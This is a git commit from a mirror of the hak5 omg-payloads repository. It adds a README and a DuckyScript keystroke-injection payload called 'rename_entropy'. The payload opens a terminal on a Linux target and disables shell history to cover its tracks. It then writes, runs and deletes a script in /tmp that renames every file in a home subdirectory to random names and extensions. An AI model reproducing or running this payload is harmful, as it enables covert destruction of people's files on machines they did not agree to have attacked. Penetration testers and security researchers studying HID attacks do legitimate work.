mirror of https://github.com/hak5/omg-payloads.git
uploading rename_entropy payload
rename_entropy is a powerful payload which renames target files along with extensions in home directory.pull/190/head
parent
7b628f2753
commit
6a69592c96
|
@ -0,0 +1,24 @@
|
||||||
|
## About:
|
||||||
|
* Title: rename_entropy
|
||||||
|
* Description: rename_entropy is a powerful payload which renames target files along with extensions in home directory.
|
||||||
|
* AUTHOR: drapl0n
|
||||||
|
* Version: 1.0
|
||||||
|
* Category: Execution.
|
||||||
|
* Target: Unix-like operating systems.
|
||||||
|
* Attackmodes: HID.
|
||||||
|
|
||||||
|
## rename_entropy: rename_entropy is a powerful payload which renames target files along with extensions in home directory.
|
||||||
|
|
||||||
|
### Features:
|
||||||
|
1. Renames files and directories.
|
||||||
|
2. Fast paylaod execution.
|
||||||
|
3. Oneliner Payload.
|
||||||
|
|
||||||
|
### Workflow:
|
||||||
|
1. Prevent storing history.
|
||||||
|
2. Creating random string generation mechanism.
|
||||||
|
3. Granting executing privileges.
|
||||||
|
4. Executing Payload Script.
|
||||||
|
|
||||||
|
#### Support me if you like my work:
|
||||||
|
* https://twitter.com/drapl0n
|
|
@ -0,0 +1,22 @@
|
||||||
|
REM Title: rename_entropy
|
||||||
|
REM Description: rename_entropy, rename_entropy is a powerful payload which renames target files with extensions.
|
||||||
|
REM AUTHOR: drapl0n
|
||||||
|
REM Version: 1.0
|
||||||
|
REM Category: Execution.
|
||||||
|
REM Target: GNU/Linux.
|
||||||
|
REM Attackmodes: HID.
|
||||||
|
|
||||||
|
DELAY 1000
|
||||||
|
CTRL ALT t
|
||||||
|
DELAY 500
|
||||||
|
STRING unset HISTFILE
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING echo -e "#\!/bin/bash\ndir=\"/home/\$(whoami)/testdir/\"\ncd \"\$dir\" || exit\nfor file in *; do\n\trand_str=\$(cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 10 | head -n 1)\n\trand_ext=\$(cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 3 | head -n 1)\n\tmv \"\$file\" \"\${rand_str}.\${rand_ext}\"\ndone" > /tmp/sys
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING chmod +x /tmp/sys
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING /tmp/./sys && rm /tmp/sys && exit
|
||||||
|
ENTER
|
Loading…
Reference in New Issue